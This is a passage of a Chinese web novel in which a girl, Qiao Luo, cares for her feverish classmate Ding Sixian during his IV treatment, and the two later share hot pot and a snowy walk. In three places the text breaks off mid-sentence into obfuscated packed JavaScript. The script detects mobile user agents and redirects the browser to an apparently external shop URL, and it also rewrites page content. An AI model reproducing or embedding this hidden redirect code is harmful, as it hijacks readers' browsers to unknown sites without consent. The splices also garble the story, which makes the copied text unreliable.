本来乔洛就是随口问一下,毕竟感觉丁似霰也没什么精神,眼睛虽然睁着,但总感觉他下一秒就要昏睡过去。 他竟然点了点头,虽然笑得很勉强,但确实还是笑着说的“好啊”。 乔洛端着罐头水进屋的时候,丁似霰已经坐了起来,闭目靠在床头。 他听到声音,睁开眼:“这是什么?我还以为是黄桃罐头。” “你可以理解为……梨汤,我感觉喝着会感觉嗓子挺舒服的,”乔洛感觉丁似霰这把旋转椅真的很不错,她又把椅子拽了到床边,坐下来,用勺子舀起罐头汤,喂了过去,“这个季节我要是能搞到黄桃,那也是很有能耐了。” 丁似霰非常满意地点点头,“好喝。” “那是,也不看看谁做的,”乔洛很受用。 把一小碗罐头汤喝光是对大厨最好的肯定。 丁似霰重新躺回床上后,乔洛拿起空碗,“你困了就睡吧,这药一时半会也滴不完,我去把锅刷了,马上就回来。” 他抬手扯住乔洛的衣角,“不用弄了,一会输完液我刷就行。” 乔洛忙把他手放下,这大兄弟抬起来的是扎针的那只。 “老实待着,三二一睡觉!”说完,乔洛就转身出了卧室。 她回来时,丁似霰确实闭着眼睛。乔洛刚刚踮起脚尖,提起……好吧,没有裙边,反正就是轻手轻脚走到他床边,结果发现这人的拇指正抠着食指的关节处。 她直接上手掰开了作案现场,还好丁似霰没留指甲,不然照这样抠,这会估计已经破皮了。 乔洛轻轻搓了搓他手上泛红的指甲印,“你困了就睡嘛,我盯着吊瓶,不会有问题的。” “这东西要输很久……” “不就是五六个点吗,天黑了我妈来接我。我还没和你说吧,前两天我家买车了,黑色的,可好看了,我和我妈一起去奉州提的。 等我成年了学驾照,邀请你当我的乘客,放心,绝对撞不死。” 丁似霰听到这里,忍不住笑了起来,但是一笑起来就会咳嗽,场面多少有些惨烈。 “哪有你这么……咳咳,邀请人的……” 丁似霰侧身掩着口唇咳了一小会,乔洛轻轻抚着他的背。似乎都是这样给人顺气的,虽然她感觉没太大用处。 “那多余的我也保证不了,实话实说呗。” “但,我睡着了你也会很无聊的。”丁似霰还在企图找理由劝乔洛回家。 乔洛坐回椅子上,从她的背包里掏出了好几捆玉线,“这你就不用担心了,我最近准备编几个小吊灯,正好快过年了,就先弄红灯笼,这东西可费时间了,你睡醒都看不到成品。” 她弯腰向前伸出手,覆在丁似霰眼睛上,“好了,睡吧,说不定睡一觉醒了吊瓶打完,什么反应都没有。” “好。” 卧室里的窗帘本来就是并拢的,乔洛刚来的时候是开了灯的。 她起身,关灯。 “这么暗你怎么编东西?”床上的人又睁开了眼睛。 “眼睛闭上,”乔洛回头瞪了他一眼,“哪有人开着灯睡觉的。” 丁似霰知道他现在最好的选择就是老老实实睡觉,乔洛决定了要陪着他,说什么也不会走。 于是他换回了平躺的姿势,自己扯了扯被子,闭上眼,“好,我睡觉。晚安,玛卡巴卡。” “晚安,唔西迪西。”其实乔洛还记得依古比古、小点点和叮叮车,但现在就不一一道晚安了。 谁家好人中午十二点说晚安。 光线明暗确实并不影响乔洛干活,因为她压根就没准备做。她只是有一个大致的想法,但并没有想好具体如何操作,还是得先画一下想要什么样子的灯笼,再拆成几个小部分去编织。 她画了一小会便没了兴趣,便放下笔,趴在桌子上看丁似霰。 丁似霰睡觉的时候确实挺乖的,规规矩矩平躺在床上,好长一条;头微微偏向了乔洛这边,输液的手放在身侧,另一只手随意搭在身上……好像不是随意,大概是搭在了胃上。 这拔凉的爪子搭在上面到底有什么用? 可惜,今天乔洛没带暖贴。书包里的暖贴都是给杨可期准备的,乔洛一向不用那些东西,就算是现在这个温度,穿上羽绒服插着兜在大街上走,她手脚也是暖的。 本来今天打算剪完头发就去姥姥家,她包里就只带了玉线、签字笔和白纸,还有昨天和云锦书逛商场买的杂货忘记拿出去了。 这种编织图的草稿不太需要铅笔,主要是因为乔洛不喜欢处理橡皮屑,所以只带了签字笔。 她这才想起来,刚才郭大夫说要是他血管疼的话,用热毛巾敷着可能会好些。于是乔洛又像做贼一样踮着脚出了卧室,去打了盆热水。 有个问题,他家那些毛巾乔洛也不知道哪一个是丁似霰的。 不过很巧啊,包里那些杂货就有两条毛巾,本来准备过年换新毛巾的,算了,明天再买一条就好咯。 咦,夹层里怎么还有个暖贴,哪天和杨可期出去的时候放进来却忘记拿出去了? 她撕开包装,把暖贴贴在了丁小胆的肚皮上,然后拎起丁似霰的手,塞进被窝里,让丁小胆趴在了他身上。 丁似霰迷茫地睁开了眼。 乔洛用毛巾蘸了热水,又拧干敷在丁似霰手臂上,“没事,这样可能会好受点,你继续睡吧。” 他没说话,又闭上眼睛睡了去。 果然,迷迷糊糊的人最好忽悠了,啊不对,最听话了。 丁似霰说的没错,真挺无聊的。 乔洛从他的书架上拿出来两本冒险小虎队,又拿了个垫子,坐在丁似霰床边——那个旋转椅有点高,不是很得劲。 然后,她伸出手,从下面握住了丁似霰那只正在输液的,“拔凉的爪子”。 或许是感受到了温暖,丁似霰把手握紧了一些。 就这样,一只手握着他,另一只手翻两页书,再重新热一热毛巾敷上去,倒也不无聊了。 昏暗的光亮,寂静的房间,真的很适合看冒险小虎队这种书,虽然长大后再看这东西已经没什么恐惧感或是带入感。 不过有一件事很难受。 这家伙怎么两本书里面都没有解密卡!每个问题都不知道答案,乔洛有点想立刻把丁似霰喊醒让他去找卡。 当然也只是想一想,不会真的这么做。 随着太阳落下,屋内的光线越发昏暗,乔洛已经看不清书上的字迹。 她凑近了些,开始数丁似霰手背上另一条血管上面针眼留下的疤。 算了,太多,数不清。 她又开始以自身所在位置为圆心,任意长为半径观察着丁似霰的卧室。 咦?乔洛才发现,丁似霰床头的吊灯下面吊着的根本不是灯泡,是一个亚克力盒子。 盒子里面,是乔洛高一时编的那个捕梦网香囊。 所以这台灯是被他拆了?好可怜的灯泡。 丁似霰醒来的时候,吊瓶里的液体已经所剩无多了。 此时,乔洛正单手拧着毛巾。 “呀,醒啦?”她又把毛巾放回丁似霰的胳膊上,随手在自己衣服上蹭了两下把手擦干,然后用手背试了试丁似霰脑门的温度,“好像不发烧了,头还晕吗?” 丁似霰摇了摇头,“你怎么坐在地上?” 虽然说有地暖,但是地板还是有点硌屁股的。 “得劲啊,”乔洛举起书,“你为什么一张解密卡都没有?” 她刚才去换热水的时候,也去换了两本书,依旧没有卡! 丁似霰有些不好意思地笑了笑,“……都弄丢了,但有一本是还在的,你没选到。” “行啊,还是我看的速度不够快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不算,”丁似霰摇了摇头,“算你给病号展示厨艺的机会。” “嘿嘿,好。”其实乔洛早就饿了,她还是早上八点多吃的饭……或许现在算是,饿过劲了,所以也没太大感觉。 丁似霰指了指自己的手背,问道,“可以了吧?” 乔洛看看时间,刚刚五分钟,“我怎么记得是说应该摁五到十分钟?” “理论上是,但明天肯定要换一只手扎,所以……” “所以肿了也无所谓?你什么事这么着急,再等两分钟呗。” “……我,我想上厕所……” “哦,”乔洛确实没想过打进去两大瓶药之后,这些液体都去了哪里这个问题,“憋会吧你。” 冬日里天黑得格外早,哪怕冬至已经过去了近一个月,晚上六点多的时候,窗外已经只剩下不太亮的星星在发亮。 丁似霰在厨房做菜,乔洛就坐在外面的桌子上,拄着头望天。她控不好火候,刀功又不太行……那几块梨和苹果都奇形怪状参差不齐。 刚才丁似霰还惊叹于她刀功差但是能把水果削皮这件事,乔洛告诉他,只要舍得削,就没有削不下去的皮。因为带着一层略厚果肉的果皮,煮完罐头后直接被乔洛扔掉毁尸灭迹了。 乔洛说她想吃醋溜土豆丝,这如果让她切的话,可能就变成醋溜土豆条了。 丁似霰打开冰箱看了一圈,回过头问乔洛,“丸子汤喝不喝?” “现在还有小白菜?”在乔洛的印象里,她似乎只喝过小白菜丸子汤,但是小白菜显然不是冬天该有的东西。 丁似霰掏出了一小绺香菜,“或许也可以是小香菜丸子汤。” “可以试试诶,”乔洛不算是香菜的狂热爱好者,但确实吃麻辣烫的时候必加香菜……不过她还没吃过香菜丸子汤,“我剁肉馅,这个我会干!” 乔洛真的有的时候就像是有一身使不完的牛劲,肉馅剁得飞快,毕竟这东西不用讲究刀工,咔咔使劲剁就好了。至于肉馅怎么变成好吃的肉丸子,那是丁似霰该干的事情,乔洛剁好肉馅就又撤离了厨房。 不得不说,看丁似霰做饭也是一件观赏性极高的活动,毕竟这人什么时候都挺好看的。而且他厨艺也不错,乔洛封他为第二大厨,第一绝对是云锦书,这个位置不可动摇。 再晚一些,云锦书就开着车到了楼下。乔洛临走前坚定地拒绝了丁似霰送她下楼的提议,并且告诉他,记得明天要给她开门。 “你明天还来?”丁似霰一脸难以置信。 “嗯?不待见我?” “没,没有,就是,太麻烦了。” “无所谓啊,反正我也没什么事干。” “那你等一下,”丁似霰跑回到卧室里,拿回来一把钥匙递给乔洛,“备用钥匙,你可以直接进来。” 乔洛接过钥匙,系在自己的钥匙串上,“不怕我把你家保险柜盗了?” “嘿,压根没有。” “行了,快关上门吧,外面挺冷的,明天见!”说完,乔洛就小碎步跑下了楼。 上车前,站在单元楼下,乔洛仰起头,在六楼的窗户后看到了那个冲着她摆手的身影。 嚯,突然好期待一觉睡醒,快点到明天了。 49. 嫌弃 第二天一早。 其实也不早了,但这已经是乔洛能力范围内最早的出行时间。九点多的时候乔洛才在早餐铺子前给丁似霰发消息。 ——蔬菜粥还是南瓜粥? 根本不用问,他早上一定不会吃饭,所以乔洛直接给出了选择。 乔洛其实也很少吃早饭,毕竟平时上学太早了确实没啥食欲,假期她又只想睡觉,早饭这个时间点根本不会是清醒状态。 况且本来感冒发烧食欲就会变差,所以对于哄着丁似霰吃点东西这件事情乔洛也没有任何反感的感觉。当然她从没想过,她不反感是因为这件事情本身,还是因为对象是丁似霰。 丁似霰这次倒是没有失联,消息回得和往常一样迅速。 ——你做? ——那将是一场豪赌。我在粥铺,快说,一会郭大夫比早饭先到你家了。 上个暑假刚放假的时候,云锦书让乔洛做过一次饭,她成功做成了一锅粘稠的粥。确实,让乔洛做饭绝对是一场豪赌。 ——南瓜粥吧。 乔洛不太理解怎么会有人喜欢喝甜粥。喝粥不吃点咸菜她都会感觉难受,竟然有人还会在粥里加糖。 马路上的雪已经被川流而过的车辆们跑成了泥泞的黑水,乔洛提起裤脚,迈上了一辆三轮蹦蹦。 晕车人的迈巴赫——可以开窗户的三驴蹦子。 但考虑到粥的温度,乔洛没开窗户,只是在车窗前看着外面的街道。 还有不到一周就要过年了,大街上年味的气息还真的是很浓烈,各处都是张灯结彩红彤彤的一片。 昨天云锦书还问她要不要今天一起回农村上坟,正好赶上老家那边的大集,还可以去转一转。 乔洛抵制住了诱惑。主要是车上确实也不太有乔洛的位置,她如果一起回去的话就得开两辆车。当然主要原因还是她今天依旧打算去陪丁似霰。 想起老家,乔洛突然有些疑惑,丁似霰怎么这次不回南菀了? 乔洛还是先郭大夫一步,到了丁似霰家门口。 她抬起手,敲了敲门。 很快,门就打开了。 “你坐门口了?”乔洛很惊讶,这个速度大概率他就是真坐在了门口等着乔洛。 “我,怕又没听到嘛。” 一夜不见,丁似霰倒是看起来精神了不少。头发洗过又梳顺了,并且换了一身没有那么多褶皱的衣服。 下巴上……还多了一道小血印子。 “这是怎么了?”乔洛微微扬了扬下巴,示意这个位置。 他不知为何有些羞涩,“刮,刮胡子的时候一不小心划了。” “咦……”乔洛又问道,“你不是给我钥匙了吗,怕啥?” “……”其实就是想在门口等着。 乔洛抬起手探了探他额头,又摸摸自己,怎么感觉还是热的? “你还有点发烧?”乔洛把早餐从塑料袋里拿出来,还好,还是温的。 丁似霰接过粥,吸了一小口,“可能吧,昨天晚上睡觉之前没发烧就没吃药。” 乔洛看着他一副毫不在意的样子有些疑惑,这算什么?烧时间长习惯了? 郭大夫来扎针的时候,还夸了乔洛拔针的手法,并且打趣般问她是不是想学医。 “不不不,我不想!”乔洛的专业黑名单里,医学名列前茅。 她十分敬佩杨可期那种想考医学院的人,但她自己做不到。 一想到要把那么多年的时间都耗在校园里,并且还要有动物实验以及面对医患沟通,乔洛就想溜之大吉了。 况且,劝人学医,天打雷劈。 乔洛今天没煮梨汤,来之前她去搞了一罐黄桃罐头,生病怎么能不吃黄桃罐头呢。 真心黄桃罐头,东北小孩吃了都说好。 丁似霰醒着,倒是就没那么无聊了。 乔洛昨晚就把灯笼的图纸画好了,初步也定下来了到底该怎么做,并且第一个试验品马上就要完工,只是今天早上迷迷糊糊没有带定位夹。 于是,丁似霰那只没有打针的手,就变成了定位夹。 乔洛这才想起那个没有灯泡的可怜台灯,以及那个她送出去后便几乎没再想起来过的捕梦网香囊,“你怎么给它这么高待遇?而且密封起来哪还有香味了?” “……怕落灰。” “这东西本来就是消耗品,用旧了便换新的。你要是喜欢的话,有时间我再给你弄一个。” 丁似霰摇摇头,“这个不一样。” 乔洛不太理解,如果说不一样的话,确实这个款式她只做过这一个,但丁似霰又不知道这件事。 只不过她选择换了话题,“我记得你高一的时候不是放假就回南菀了吗?今年怎么留守了? “家里,出了些状况,今年就不去了,过几天我爸妈回新柳。” “哦,不折腾了也挺好,今年估计得二月中旬就开学,学校又是那套争分夺秒的理论。” “你……还想去谭棠吗?”丁似霰问这话的时候似乎很纠结。 乔洛放下手里的线,抬起头看着他,“你不会以为我是因为你才对那边感兴趣的吧?我就是很单纯的权衡利弊之后感觉谭棠大学的建筑学很合适,而且谭棠大学那么好个学校,我想去人家还不一定要我呢,我得比一模考得再好点才能稳稳当当考上好吧。” “那,那就好。” 乔洛打好最后一个结,就开始断线烧粘线头。线头很多,她平时耐心并不多,但在做这种事情的时候倒是一点不焦躁。 “姥家出什么事了?你爸妈竟然放心把你自己放家里这么久?” “我都成年了,自己在家也没啥问题。” “哦,昨天烧得迷迷瞪瞪的人,不叫丁似霰?”乔洛又拿出了一捆明黄色的股线,拽出线头然后把线筒递给丁似霰,“拿着,绷紧一点,我要把这个流苏捆上。” “我,没和他们说,”丁似霰提起这件事,倒是神色黯淡了不少,“我姥三个多月之前查出来的肝癌,不太好,然后……怎么说呢,反正家里就挺乱的。” “久病床前无孝子?”乔洛突然想起了这句话,但三个月,真的能算久病吗? “算吧,反正都推三阻四说家里有事,我妈就回南菀了,”他微微停顿了一下,然后说了些乔洛不太知道的事情,“南菀那边的农村,重男轻女特别严重,我妈按照余家村的规矩来说,外嫁女其实应该很少回家。 她也确实对那边除了我姥以外的人并不太惦念,每次回去都是惦记着给我姥姥买几身新衣服,带她去镇上吃点好吃的。 可能是因为以前家里太穷,也或许是一直企图再拼一个男孩出来确实也没太多精力照顾孩子,反正我那三个姨确实是对我姥和我外公并没有太大感情,也,不是很喜欢我妈。 可能是因为作为家里最小的孩子,多少也确实受到了不少更好的待遇。就比如她们甚至都没有读完初中,但我妈妈还上了个技校。 而且看起来,确实只有我妈妈嫁人后日子过得比较顺畅。他们说我妈妈平时不怎么回去,也没有照顾过老人,现在该尽尽孝了。” 乔洛不忍吐槽:“说得好像没有得病的时候老人有多需要照顾一样。” 丁似霰无奈地摇了摇头,“家里的账最难算了,毕竟还有很多复杂的情感掺在里面。” “嗯……你为什么叫的是姥姥和外公,南北混杂叫法?”乔洛的关注点依旧很清奇。 “他说,还是要有区分的,外孙子不用叫得那么亲切,”丁似霰道,“其实我不太喜欢回南菀,那个家里除了我姥姥,其他人都奇奇怪怪的。” 他微微动了动手腕,似乎有些不适。 乔洛突然一拍脑门,“我天,忘了,我这就给你弄个热毛巾去!” 丁似霰习惯性想告诉她其实不用这么麻烦,他就是一个姿势待久了手有些酸。 但是小姑娘根本没给他机会,扔下手里刚剪断的流苏就跑出了屋子。 她确实,很难感知到丁似霰这种纠结的情感状态。某种角度上来讲,乔洛是个冷心肝的人,所有人在她的世界里只分成了三种:自己人、有价值的人以及其他人。 云锦书、姥姥、杨可期、花蕊蕊、丁似霰是自己人,姜亦瑶和许志大概算没那么重要的自己人,乔连富是有价值的人。 只有自己人,乔洛才会尽量去感受他们的某些敏感的情绪点。 虽然乔洛不太懂,为什么有些话不能明着说,还要让别人猜。又或者其实没人让她猜,是她确实对于情感的敏锐度太低了。 乔洛拧好毛巾,把它敷在丁似霰胳膊上之前,相比较昨天来说多了一个步骤——拒绝丁似霰要自力更生这个提案。 她轻轻拍了一下丁似霰伸过来接毛巾的手,“我又不是你崽子,不用担心‘无孝子’这个事。” 丁似霰看着她,神色有些纠结。过了一会,他开口道:“你真的不感觉,照顾别人,很麻烦吗?” “麻烦啊,你要是没病的话,这个时间我应该在被窝里死亡翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908941|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滚,然后等着菜香味飘进屋里让我彻底清醒,怎么会穿戴整齐出现在你家,”乔洛把毛巾平整的敷在丁似霰胳膊上,然后抬起头,颇有些笑意地看着他,“咋,有负罪感啦?” 丁似霰垂着头,没有说话,但手中无意识搓着的被单出卖了他。 乔洛不是很懂自己,她确实感觉丁似霰如今这幅小可怜模样和他犯贱的时候一样都很有趣……这形容词似乎不太对,那应该叫什么,好看? 她也没有逗丁似霰太久,过了不到十秒乔洛就两手托起丁似霰的脸,强迫他和自己对视。 坏了,这幅眼眶泛红可怜兮兮的小模样让乔洛有一种想把他抱怀里的冲动。 “那些绳子编起来又麻烦又磨手,但我也很喜欢,而且我今天早上是没等到闹钟响就自己醒的。” 按照正常状态下丁似霰的思维逻辑,他是能理解到乔洛想说什么的。 但他低烧不知道烧了多久,怕听不到乔洛敲门的声音还老早就跑去了门口等着,再加上输液的时候冰凉的液体进入血管等多重因素下,丁似霰如今脑子并不是很敏捷。 他看着她的眼神,很是困惑,“麻烦,为什么愿意?” “因为麻烦是事实,愿意是自己选的呀!我这人可没什么爱心,学校强制做公益活动我都摸鱼。” “前几个月在路口讨钱的那个老头,一共就在学校这边待了不到一周,你还天天晚上放学给他买份吃的。”他的关注点竟然扯到了这件事上面。 “那冰天雪地的就算是骗人也不容易,门口卖的卷饼又没多少钱,我就随手买了呗,正好我少吃两顿夜宵说不定能瘦点,”乔洛又把话题拽了回来,“我是想告诉你,至少目前为止,我并不会嫌弃你这具略微有点脆弱的身体。 照顾人这件事情本身确实是麻烦的,但是照顾自己在乎的人并不会让人厌烦,OK?” 丁似霰看着乔洛,眼眶比刚才更红了,紧抿着嘴唇,俨然一副要哭出来的样子。 “呀!感动啦?”乔洛挪了个位置,坐到了丁似霰床边,“不是说身体不好的人容易脾气不好吗?你怎么一点都体现不出来?” 乔洛在心里感叹,多亏今天出门之前换了条新裤子,干净的,没在地下坐过,可以坐在床上! 丁似霰又垂下了头,乔洛看不到他的神色,只听见他闷闷地回道,“总是让别人照顾已经够不好意思了……那还配有什么脾气……” 她对着丁似霰张开双臂,把他搂了过来,“好啦好啦,那我换个答案,不麻烦,一点都不麻烦,我很愿意照顾你。” 想抱就要抱,又不是什么过分的举动。 可能是某些本能,乔洛轻轻拍着丁似霰的背。 乔洛并没这样抱过别人,动作多少生疏了些,丁似霰的头被她扣在了肩膀下。 他蹭了蹭,把头埋在了乔洛的颈窝,似是发出了一些细微的抽泣声。 “嗯?哭了?”乔洛很想看看案发现场,毕竟除了鬼屋那次,还真没见过他哭,至于那么久以前的回忆,坦白讲,乔洛记不清具体的画面了,只记得有这么一件事。 丁似霰一双眼睛生得很漂亮,有些偏细长的眼型却还带了点桃花眼的感觉,配上有些深的眼窝和让人羡慕的大开扇双眼皮,以及不算太长但很浓密的睫毛。 乔洛回想起来,其实从见到丁似霰的第一眼就有被他的外形条件所吸引,毕竟爱美之心人皆有之,只是她向来对于外界的事物深入研究的兴趣不大,所以并不会像那些女孩子们一样有多关注于丁似霰。 但架不住丁似霰自己往乔洛身边走啊! 平日里他多是带着笑意,看着笑容满面的帅哥,很难让人心情不好。而且,一直以来,似乎都是丁似霰在换着法对乔洛夸奖,乔洛根本未曾想过,他这种乐天派,还会有这些奇怪的想法。 乔洛不大喜欢看到别人哭,主要是哭天喊地的那种哭泣,她听到这声音甚至有点烦躁。 丁似霰不一样,他哭得根本没什么声!倒感觉,很想给他顺顺毛。而且他眼眶泛红,睫毛沾上泪的样子……似乎也会很好看…… 当然这个时候还是不太能继续逗他,乔洛揉了揉他的头发,“哪来这么多奇怪的想法,杨可期大冬天把手伸到我领子里用我暖手的时候可没什么罪恶感,反倒笑得很开心。” “那不一样……”丁似霰本就有些鼻音,如今更加严重。 他的气息呼在乔洛颈间,倒感觉,痒痒的。 “哪里不一样?” “就是不一样。” 50. 即刻生效 “行,那就不一样吧。”虽然乔洛不懂,但她知道,至少和这种已经有些迷糊了的人不要讲道理,容易给他讲到去见周公。 两个人都没有继续说话,乔洛仍旧轻轻拍着丁似霰的背。 怎么真给他哄睡着了? 乔洛托着丁似霰的头,小心翼翼把他放回到枕头上,又抽了张纸巾擦去他脸上还没干的泪痕。 “刚哭完就睡觉,也不怕一会变成死鱼眼睛。”乔洛用几乎微不可闻的声音吐槽着。 不过这双眼睛就算肿了,也挺好看。 这小子似乎已经习惯了用乔洛暖手,乔洛刚把手伸过来,他就握了上去,十分丝滑。 乔洛又看了三本冒险小虎队,并且找到了丁似霰那唯一一张解密卡。 拔针的时候丁似霰才睁开眼,不过他似乎没完全醒过来。 “几点了?”丁似霰问道。 乔洛随手把针头插进了桌子上的那团废纸里,“还早着呢,困就再睡一会。” “嗯,”他应了一声,又悄悄把乔洛正在给他摁着针眼的手握住了一些,“想去吃饭就喊我。” “好。” 想不想吃饭不知道,乔洛更想睡觉,这简直比上学的时候清醒时间维持的更长久,乔洛早就困了。于是她又扯来了昨天的垫子,坐到地上,然后一手和丁似霰继续握着,躺在他床边睡着了。 没有老师在讲台上催眠,睡眠质量显然不是太好,乔洛不到半个小时就从梦境中醒过来了。 她一抬头,就看到了丁似霰在看着她。 乔洛说道:“做了个梦。” “梦到什么了?” “虹猫蓝兔大战蛇精。” “这……会发生什么?” 乔洛皱着眉回想了一会,发现她已经记不太清刚才的梦了,“可能输了吧,蛇精有如意当外挂。” 丁似霰坐起身,打开了床头的台灯,“也可能赢,虹猫蓝兔还挺厉害的。” “不重要,”乔洛伸了个大大的懒腰,却一瞬间有些头晕,这该死的缺氧感,“想想晚上吃啥才是重点。” “你定,当我……多谢你这两天的照顾。” “有人请客,那我可得找个大铺子!” 乔洛选择去吃火锅,她真的很喜欢吃这种汤汤水水的东西,尤其是在冬天。但丁似霰强烈要求去吃一家小锅的,于是两个人去了新柳唯一一家转转小火锅。 火锅店并没有因为临近年关而生意萧条,乔洛和丁似霰进门的时候正好坐进了最后两个连着的座位。 “我明天不打针了,”丁似霰道。 他似乎,还想说什么,但并未张口。 乔洛咽下口中这捆不太能咬断的香菜,转过头去,“所以呢?” “我,其实买了去南菀的票,后天凌晨的。” “那我就不给你送行咯,大半夜的一个妙龄少女自己去火车站可真恐怖,”乔洛又夹了一根海兔,“我感觉这海兔好像死我嘴里了。” “这么难吃?”丁似霰突然想试试。 “我劝你别作死,”乔洛拿了一张餐巾纸捂住嘴,吐毛一般企图洗刷着味蕾。 “你都不惊讶我买了票?”丁似霰虽然不太记得他睡觉之前到底迷迷糊糊说了什么,但似乎没提过这个事。 “有啥可惊讶的,见一面少一面的事情,无论从哪个角度来讲,你今年继续在南菀过年都没问题,”乔洛又喝了一大口芬达,把海兔的味道彻底从嘴里清除掉了,“不过你坐绿皮去的话得二十几个点吧?” “二十三个小时零十八分钟,如果准点的话。” 乔洛早就知道会很远,但真正听到这个时间的时候还是会有些震惊。 她最后得出了一个结论,“不行,我要真的去了谭棠大学的话必须得做飞机走,二十几个点无聊死了。” 乔洛和丁似霰走出火锅店的时候,外面又飘起了雪花。 街道上的积雪刚刚化掉,路边的雪人和枯枝就又填了一层新衣。天空中只有几颗星星和一轮不太亮的月亮,那月光甚至不如路灯看起来耀眼。 乔洛看着丁似霰随意挂在脖子上的围巾,突然有了个坏主意。 她拍了拍丁似霰的肩膀,“你低一点。” 丁似霰不知道乔洛要做什么,但还是很顺从地弯下了腰。 乔洛微微仰起头,回忆着之前学过的法子,摆弄丁似霰的围巾。 “送你一个大蝴蝶结!”乔洛把蝴蝶结两边的小耳朵抻到一样长,十分满意地拍了拍它,“完美。” “嗯?”丁似霰转过身,在玻璃上看到了自己的倒影,不禁失笑,“确实挺完美。” “走吧!”乔洛脚步欢快地冲进了漫天飞舞的雪花中。 丁似霰紧跟着她,“慢点,地上可能有冰!” 乔洛一向不喜欢系围巾,她感觉脖子被围住有些闷堵。她甚至羽绒服都不太喜欢拉拉链,冷了就两边一抿,把自己裹起来。 用小学老师的话来讲,乔洛这种人就是“每天敞胸露怀没个正型”。 那又怎么样呢?乔洛还是喜欢敞着羽绒服在雪地里转圈,当然她只能转一两圈,转多了就要左脚绊右脚倒在雪地里了。 墙根处,有一只小黑猫很优雅的在雪上留下了一串小梅花一印。或许它不是优雅,是冻僵了才走这么慢。 “你冷吗?”乔洛问道。 与此同时,丁似霰终是忍不住对乔洛在雪地里撒欢的行为发出疑惑,“你不冷吗?” “嘿嘿,不冷。”乔洛甩了甩手上的已经由雪化成的水,然后随意在羽绒服外层蹭了两下。 “我倒是也不冷,”丁似霰用下巴点了一下乔洛刚刚的杰作,“蛮挡风的。” “那我们去看看小花和臭白吧?”火锅店距离学校虽不是太远,但也有近两公里的距离,乔洛这时竟突然燃起了想去看小狗的想法。 “走吧,”丁似霰点点头,“你把衣服裹紧点。” 乔洛的羽绒服肥肥大大的,里面足能再塞一个杨可期进去。 她听话地裹紧了衣服,两手往袖子里一揣,活像一个公园的老大爷。 “我还以为你会想给那小猫买吃的。” “佛渡不了众生,我也救不了所有小流浪,自费给学校那俩打疫苗驱虫我就已经感觉我自己很不错了,”乔洛道,“况且你怎么知道它一会能不能抓到两只耗子当宵夜?” “或许吧。” “我知道我很多时候冷心冷肺的,但确实我不太理解很多情感。” “没有呀,你只是小小的年纪想法却比较通透而已。” “那谢谢夸奖咯!”乔洛看到了一个小雪堆,小步走过去,然后两腿一蹦,松散的雪堆向四周喷洒开。 “我小时候其实还有很不切实际的想法嘞,幼儿园那阵,我妈下班来接我的时候一般都比较晚了,回家路上就有一段贼黑的路,我当时还问我妈能不能把月亮点亮了当灯泡。” 乔洛向高处蹦了一下,好像是企图拍到树枝上缠绕的灯线。 “想当一个黑夜点灯的勇士?”丁似霰走得离乔洛近了一些,“这个想法倒是不错。” 乔洛放下了手,不再对那灯串有什么妄想,“哪有什么勇士,纯纯是小屁孩的幻想时刻,我要是能碰到月亮除非在屁股上绑一筐窜天猴。” “要不要试试呼吸一下两米的空气?”丁似霰问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908942|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 “怎么吸?现在折两根树枝当高跷踩着?” “我举着你。” 乔洛抬起头看向丁似霰,略有些打趣地问道,“你举得起来我?” 丁似霰用实际行动证明了他确实有一个正常成年男性该有的力量,哪怕刚输了两天的液。 他微微蹲下身,抱住了乔洛膝盖左右的位置,“搂着我脖子,抓稳了哦!” 说完,丁似霰就猛地把乔洛抱了起来,原地缓缓转了两圈。 这地面确实不太适合极速旋转,丁似霰只好小步挪着。 “感觉怎么样?”丁似霰停了下来,却还是抱着乔洛没有放下。 “爽!”乔洛略微把左手放松了一些,没有继续环在丁似霰脖子上,“我如果松开一只手会摔吗?” 丁似霰摇摇头,“稳着呢。” “嘻嘻,”乔洛彻底松开了左臂,向空中伸去,“再来一圈!” “好嘞!”丁似霰牌高空旋转小马达再次启动。 “呜呼~两米的空气真新鲜哈哈哈哈哈哈!” 男孩抱着女孩,在缓缓落下的雪花里漫步转着,一个在闹,一个在笑,似是给这个寒冷的夜晚增添了许多生机。 “不行了有点晕,”乔洛拍拍丁似霰的肩膀,“今天的旋转已达上限,等我下次续费体验吧。” 丁似霰稳稳把乔洛放下后,说道,“美丽的小姐,恭喜您成为本项目的独家终身vip,无需续费,随时体验。” “这么好?不会要给我骗去缅甸体验吧?” “不会的,我们vip用户说在哪体验咱就在哪体验。” 乔洛牵起丁似霰的小拇指,勾住,然后重重在他大拇指上摁了下去,“服务条约即刻生效!” “不退不换。”丁似霰笑着说道。 “肘!”乔洛普通话还是蛮标准的,只是偶尔确实喜欢发出一些奇怪的声音,一般都是她心情特别好的时候,“去前边宠物商店买两盒罐头,给它俩也过过年。” 乔洛兴冲冲向商铺走去,丁似霰紧跟在她身旁,学着她的样子高喊了一声,“肘!” 洁白无瑕的雪地上,留下了两串脚印,毫无章法,却好像透着说不尽的愉悦。 一个人坐二十三个小时的卧铺,特别漫长。 临行前,乔洛特地嘱咐丁似霰,一定要带些吃的,不然等别人泡方便面的时候他只能干咽口水。 